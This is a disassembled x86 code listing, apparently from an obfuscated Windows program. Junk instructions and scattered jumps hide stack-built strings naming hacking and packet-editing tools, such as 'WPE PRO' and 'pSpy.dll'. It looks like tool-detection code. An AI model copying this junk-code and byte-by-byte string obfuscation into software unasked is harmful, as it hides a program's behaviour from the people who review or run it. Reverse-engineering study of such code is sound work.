mov esi, 0x43
mov word [esp + 0x7a6], si
sbb si, sp
sub si, 0x7bfe
test al, 0x11
mov esi, 0x20
test esp, 0x77c01eac
cmc
clc
mov word [esp + 0x7a8], si
bt si, 0xcc
mov esi, 0x30
test esi, 0x6c866762
mov word [esp + 0x7aa], si
cmc
cmp dh, 0x6c
mov word [esp + 0x7ac], si
shr si, 0xb4
xor esi, ebp
add si, bx
mov esi, 0x20
mov word [esp + 0x7ae], si
xadd si, si
cmovs si, bx
shrd si, sp, 0x39
mov esi, 0x36
test ecx, 0x3db50788
mov word [esp + 0x7b0], si
not esi
sal si, 0xe4
mov esi, 0x46
cmp edi, 0x3e57512f
clc
test ebp, ebp
mov word [esp + 0x7b2], si
dec esi
mov esi, 0x20
cmp cx, 0x4d9f
stc
mov word [esp + 0x7b4], si
adc esi, 0x28131d4
rcl esi, 0xea
add esi, 0x3c567bad
mov esi, 0x30
cmp edi, ebx
mov word [esp + 0x7b6], si
mov word [esp + 0x7b8], si
mov esi, 0x20
test dx, si
mov word [esp + 0x7ba], si
jmp 0x6b85cc
mov word [esp + 0x80e], si
mov esi, 0x36
cmc
mov word [esp + 0x810], si
cmovl esi, ecx
shl si, 0x6f
mov esi, 0x46
cmp bx, 0x5332
stc
mov word [esp + 0x812], si
rcr si, 0x32
xchg si, si
mov esi, 0x20
mov word [esp + 0x814], si
neg si
xadd si, si
mov esi, 0x30
cmp dh, 0x67
test dl, 0x5e
jmp 0x7f1ae2
mov esi, 0x30
jmp 0x572c70
mov word [esp + 0xa82], si
add esi, eax
test di, 0x1b0
mov esi, 0x20
mov word [esp + 0xa84], si
add esi, ecx
or si, 0x6fad
cmp cx, di
mov esi, 0x45
cmp edi, 0x52b574bd
test cx, ax
mov word [esp + 0xa86], si
bswap si
mov esi, 0x38
cmp edi, 0x36007806
mov word [esp + 0xa88], si
bswap si
mov esi, 0x20
test eax, esi
mov word [esp + 0xa8a], si
cmp edi, edi
adc esi, ebp
mov esi, 0x3f
mov word [esp + 0xa8c], si
sar si, 8
mov esi, 0x20
test esp, 0x29185e36
test sp, di
jmp loc.0040a236
mov word [esp + 0x78a], si
clc
cmp dx, bx
shr si, 2
mov esi, 0x38
test edi, 0x36005b30
mov word [esp + 0x78c], si
test ch, 0x29
mov esi, 0x20
mov word [esp + 0x78e], si
test ebp, ebx
btc si, 0xa
mov esi, 0x33
mov word [esp + 0x790], si
shld si, sp, 0xc4
mov esi, 0x37
mov word [esp + 0x792], si
shrd si, bx, 0x3a
shld esi, esi, 0x39
mov esi, 0x20
mov word [esp + 0x794], si
not esi
mov esi, 0x554c4217
mov esi, 0x37
jmp 0x7f30ab
push ebp
inc eax
adc ebp, edx
xor bp, 0x4d4a
mov ebp, esp
rcl eax, cl
and esp, 0xfffffff8
not al
push 0xffffffffffffffff
movzx eax, ax
push 0x4ba182
movzx eax, si
movzx ax, ah
mov eax, dword fs:[0]
jmp 0x7b5eea
mov word [esp + 0x7dc], si
mov esi, 0x20
cmc
mov word [esp + 0x7de], si
dec si
mov esi, 0x36
clc
cmp esi, esp
mov word [esp + 0x7e0], si
sbb si, 0x65f4
mov esi, 0x39
cmp di, 0x6bec
mov word [esp + 0x7e2], si
shld esi, edx, 0x56
add esi, 0x47e91d49
bt si, 0x2a
mov esi, 0x20
stc
cmc
mov word [esp + 0x7e4], si
mov esi, 0x30
mov word [esp + 0x7e6], si
jmp 0x7b486b
mov word [esp + 0x920], si
shr si, 0x45
mov esi, 0x36
test bp, sp
jmp 0x75e6e9
mov word [esp + 0x832], si
cmova esi, eax
sal esi, 0xd9
mov esi, 0x36
cmp si, si
jmp 0x534c3d
mov word [esp + 0x8f4], si
sal si, 0xec
or si, bp
mov esi, 0x20
cmp ebx, 0x52b12625
mov word [esp + 0x8f6], si
cmove si, bx
dec esi
mov esi, 0x36
cmp dl, bh
cmp ch, 0x98
test dh, 0x11
mov word [esp + 0x8f8], si
mov esi, 0x39
stc
test ax, bp
cmp edx, eax
mov word [esp + 0x8fa], si
xor si, 0x23de
bsr esi, esp
mov esi, 0x20
mov word [esp + 0x8fc], si
sal esi, 0x99
mov si, bp
mov esi, 0x36
mov word [esp + 0x8fe], si
btr esi, eax
mov esi, 0x43
cmp al, ch
test sp, 0x38a4
jmp 0x67f512
mov word [esp + 0xa80], si
clc
stc
jmp 0x7ff444
mov byte [esp + 0x29d], 0x74
mov byte [esp + 0x29e], 0x78
clc
test eax, 0x76f94f81
mov byte [esp + 0x29f], 0x74
mov byte [esp + 0x2a0], bl
cmc
mov byte [esp + 0x2ec], 0x25
test bp, 0x3b25
cmc
mov byte [esp + 0x2ed], dl
mov byte [esp + 0x2ee], 0x25
cmp di, 0x5cc1
mov byte [esp + 0x2ef], dl
mov byte [esp + 0x2f0], 0x25
stc
test edi, edi
cmp di, 0x336e
mov byte [esp + 0x2f1], dl
mov byte [esp + 0x2f2], bl
clc
cmp ebx, esi
mov word [esp + 0x914], si
inc si
mov esi, 0x36
mov word [esp + 0x916], si
movsx esi, dx
bt si, di
mov esi, 0x39
clc
jmp 0x7d9e4e
mov byte [esp + 0x301], cl
btc si, 0xc4
btr si, dx
xor si, 0x4216
mov byte [esp + 0x302], 0x67
and si, ax
add esi, 0x62c32027
xadd esi, esi
mov byte [esp + 0x303], 0x69
rol esi, 0xff
mov byte [esp + 0x304], 0x6e
ror esi, 0x26
mov byte [esp + 0x305], 0x32
mov byte [esp + 0x306], 0x37
shld esi, eax, 0xbd
btc si, 0xf4
mov byte [esp + 0x307], 0x30
add si, 0x3095
mov byte [esp + 0x308], 0x2e
or esi, ebx
mov byte [esp + 0x309], 0x44
sar esi, 0x8e
cmp ch, ah
shld si, si, 0xa3
mov byte [esp + 0x30a], 0x4c
neg si
mov byte [esp + 0x30b], 0x4c
shrd esi, ebx, 0x52
btc si, bp
mov byte [esp + 0x30c], bl
cmp ebp, edx
sal si, 0xd2
mov byte [esp + 0x2f4], 0x48
adc esi, 0x51ef31e9
xchg si, si
mov byte [esp + 0x2f5], al
or si, 0x578d
mov byte [esp + 0x2f6], 0x6c
stc
mov byte [esp + 0x2f7], 0x70
movsx esi, si
movzx esi, sp
mov byte [esp + 0x2f8], al
movsx esi, ax
clc
cmp di, 0x3011
mov byte [esp + 0x2f9], 0x72
mov byte [esp + 0x2fa], 0x2e
mov byte [esp + 0x2fb], 0x64
mov byte [esp + 0x2fc], 0x6c
mov byte [esp + 0x2fd], 0x6c
shr si, 0xe5
mov byte [esp + 0x2fe], bl
mov byte [esp + 0x284], dl
xor si, 0x6451
mov byte [esp + 0x285], dl
shl si, 0xa5
mov byte [esp + 0x286], 0x2e
mov byte [esp + 0x287], 0x6d
mov byte [esp + 0x288], 0x70
shld esi, eax, 0xf0
bts si, dx
sal si, 0xab
mov byte [esp + 0x289], 0x33
adc si, di
mov byte [esp + 0x28a], bl
movzx esi, dx
mov byte [esp + 0x2bc], 0x70
mov byte [esp + 0x2bd], dl
mov byte [esp + 0x2be], 0x64
mov byte [esp + 0x2bf], 0x2e
sbb si, 0x3895
mov byte [esp + 0x2c0], 0x64
dec esi
mov byte [esp + 0x2c1], 0x6c
movsx esi, ax
mov si, 0x703b
shr esi, 0x95
mov byte [esp + 0x2c2], 0x6c
rcl si, 0x8b
mov byte [esp + 0x2c3], bl
mov byte [esp + 0x2b4], 0x4f
bt si, dx
mov byte [esp + 0x2b5], 0x43
adc si, 0x48ae
movzx esi, bx
mov byte [esp + 0x2b6], 0x52
sbb esi, 0x71123374
mov byte [esp + 0x2b7], 0x2e
adc si, dx
mov byte [esp + 0x2b8], 0x64
xadd si, si
mov byte [esp + 0x2b9], 0x6c
mov byte [esp + 0x2ba], 0x6c
mov si, sp
rcr esi, 0xe0
mov byte [esp + 0x2bb], bl
test ah, cl
dec esi
or si, 0xc40
mov byte [esp + 0x28c], dl
btc si, 0xfe
mov byte [esp + 0x28d], dl
dec esi
mov byte [esp + 0x28e], 0x2e
cmc
mov byte [esp + 0x28f], 0x64
adc esi, 0x3f8806b3
test sp, bx
mov byte [esp + 0x290], 0x6c
mov byte [esp + 0x291], 0x6c
btr si, sp
btc esi, 0xa3
btc esi, edx
mov byte [esp + 0x292], bl
mov byte [esp + 0x330], 0x6d
mov byte [esp + 0x331], 0x61
rol si, 0x22
bts esi, esp
add esi, 0x7da97767
mov byte [esp + 0x332], 0x70
bts esi, ecx
mov byte [esp + 0x333], dl
mov byte [esp + 0x334], 0x5c
mov esi, 0x35
jmp 0x71c8c8
mov byte [esp + 0x328], 0x6c
adc si, 0x5f78
mov byte [esp + 0x329], 0x50
test bh, 0x69
mov byte [esp + 0x32a], al
mov byte [esp + 0x32b], 0x74
mov byte [esp + 0x32c], dl
rol si, 0xfd
mov byte [esp + 0x32d], bl
adc esi, 0x7b6c5e1b
mov byte [esp + 0x2e4], 0x5a
cmova si, sp
mov byte [esp + 0x2e5], al
or si, 0xece
bsf si, si
mov byte [esp + 0x2e6], 0x72
bt si, 0x87
bsf si, cx
mov byte [esp + 0x2e7], cl
mov byte [esp + 0x2e8], 0x43
btc esi, 0xe2
mov byte [esp + 0x2e9], 0x44
test edx, 0x8437984
mov byte [esp + 0x2ea], bl
mov byte [esp + 0x2a4], 0x4e
mov byte [esp + 0x2a5], cl
sbb si, sp
test edi, ebp
shrd esi, esp, 0xc8
mov byte [esp + 0x2a6], 0x55
test dx, 0x4b8a
sbb si, di
mov byte [esp + 0x2a7], 0x49
and si, si
mov byte [esp + 0x2a8], bl
mov byte [esp + 0x310], 0x4e
neg si
mov byte [esp + 0x311], cl
mov byte [esp + 0x312], 0x57
test esi, esp
xchg esi, esi
adc si, sp
mov byte [esp + 0x313], 0x69
mov byte [esp + 0x314], 0x6e
xor si, 0x2b5c
mov byte [esp + 0x315], 0x64
mov byte [esp + 0x316], cl
or si, 0x35ed
mov byte [esp + 0x317], 0x77
test si, 0x672f
ror esi, 0xff
xor esi, ecx
mov byte [esp + 0x318], bl
sal esi, 0x7e
add esi, 0x2ab08a2
mov byte [esp + 0x350], 0x4e
mov byte [esp + 0x351], cl
mov esi, ebx
mov byte [esp + 0x352], 0x4d
sbb esi, esp
not si
mov byte [esp + 0x353], al
sar si, 0x70
btr esi, edi
sbb si, bx
mov byte [esp + 0x354], dl
and esi, 0x421508d7
shrd si, ax, 0xe
mov byte [esp + 0x355], dl
bt si, bx
mov byte [esp + 0x356], 0x61
mov byte [esp + 0x357], 0x67
mov byte [esp + 0x358], al
and esi, edi
sub esi, eax
mov byte [esp + 0x359], bl
stc
or esi, eax
sbb esi, 0x22852fc
mov byte [esp + 0x398], 0x48
mov byte [esp + 0x399], cl
sar si, 0x67
mov byte [esp + 0x39a], 0x74
stc
cmovl esi, edx
cmp si, 0x3e80
mov byte [esp + 0x39b], 0x4b
mov byte [esp + 0x39c], al
rol si, 0x6b
btr si, 0xa4
ror esi, 0x97
mov byte [esp + 0x39d], 0x79
dec si
mov byte [esp + 0x39e], 0x44
or esi, 0x52111287
cmc
sub si, 0x49fe
mov byte [esp + 0x39f], 0x72
sub esi, edx
rcl esi, 0xf9
mov byte [esp + 0x3a0], 0x69
bsr esi, ebx
mov byte [esp + 0x3a1], 0x6e
cmp esi, 0x731c50fe
and esi, 0x7b6428c5
mov byte [esp + 0x3a2], 0x6b
mov byte [esp + 0x3a3], bl
test eax, 0x727f49f0
btr esi, 0x73
mov byte [esp + 0x44], dl
test ebx, edi
mov byte [esp + 0x45], al
add si, 0x6294
rcl esi, 0x2d
mov byte [esp + 0x46], 0x70
bts si, di
and esi, 0x14f6213e
mov byte [esp + 0x47], bl
mov byte [esp + 0x294], 0x50
neg si
bt esi, 0xa8
mov byte [esp + 0x295], 0x30
mov byte [esp + 0x296], 0x30
adc si, 0x1f92
mov byte [esp + 0x297], 0x30
stc
btr esi, 0x10
mov byte [esp + 0x298], bl
neg si
bts esi, ecx
mov byte [esp + 0x2c4], dl
and si, 0x69a7
or esi, 0x170936eb
mov byte [esp + 0x2c5], 0x70
mov byte [esp + 0x2c6], 0x79
btc si, 0xd4
sbb esi, 0x1aa81cae
mov byte [esp + 0x2c7], 0x78
btr si, 0xae
mov esi, edi
mov byte [esp + 0x2c8], 0x78
btc esi, 4
neg esi
sal si, 0xd5
mov byte [esp + 0x2c9], 0x68
cmp esp, 0x47fd6097
bsr esi, eax
jmp 0x5d7007
mov word [esp + 0xa40], si
mov word [esp + 0xa42], si
mov esi, 0x20
mov word [esp + 0xa44], si
neg esi
mov esi, 0x30
mov word [esp + 0xa46], si
mov word [esp + 0xa48], si
xadd esi, esi
clc
mov esi, 0x20
test si, 0x2255
test esi, eax
mov word [esp + 0xa4a], si
mov byte [esp + 0x4ae], 0x70
xchg esi, esi
mov byte [esp + 0x4af], 0x53
xadd si, si
mov byte [esp + 0x4b0], 0x70
mov byte [esp + 0x4b1], 0x79
btr esi, 0x30
cmc
dec esi
mov byte [esp + 0x4b2], 0x2e
not esi
mov byte [esp + 0x4b3], 0x64
mov byte [esp + 0x4b4], 0x6c
xor esi, 0x6f70476b
mov byte [esp + 0x4b5], 0x6c
shrd si, ax, 0x92
mov byte [esp + 0x4b6], bl
sub si, cx
inc esi
mov byte [esp + 0x42c], 0x57
mov byte [esp + 0x42d], 0x50
bsf si, bp
and si, di
mov byte [esp + 0x42e], 0x45
shr si, 0x18
neg esi
ror esi, 0x80
mov byte [esp + 0x42f], 0x20
test cl, 0x2f
bts esi, edx
mov byte [esp + 0x430], 0x50
btc esi, ebx
mov byte [esp + 0x431], 0x52
sar esi, 0x46
sal esi, 0x77
mov byte [esp + 0x432], 0x4f
xchg esi, esi
bts esi, edx
mov byte [esp + 0x433], bl
btc si, si
mov byte [esp + 0x374], 0x57
mov byte [esp + 0x375], 0x2d
xchg esi, esi
btc esi, 0x9d
mov byte [esp + 0x376], 0x50
mov byte [esp + 0x377], 0x2d
not si
rol si, 0x71
btr esi, esi
mov byte [esp + 0x378], 0x45
shr esi, 0xc5
mov byte [esp + 0x379], bl
mov byte [esp + 0x424], 0x57
or si, 0x54c5
btr si, cx
mov byte [esp + 0x425], 0x50
movsx esi, cx
shl si, 0xd
mov esi, 0x1ebb7b63
mov byte [esp + 0x426], 0x45
or si, 0x5aff
test ebp, 0x31f86fe7
mov byte [esp + 0x427], 0x5f
shr esi, 0x9a
mov esi, ecx
mov byte [esp + 0x428], 0x50
and esi, 0x196a4128
mov byte [esp + 0x429], 0x52
clc
inc esi
mov byte [esp + 0x42a], 0x4f
bts si, cx
jmp 0x506a00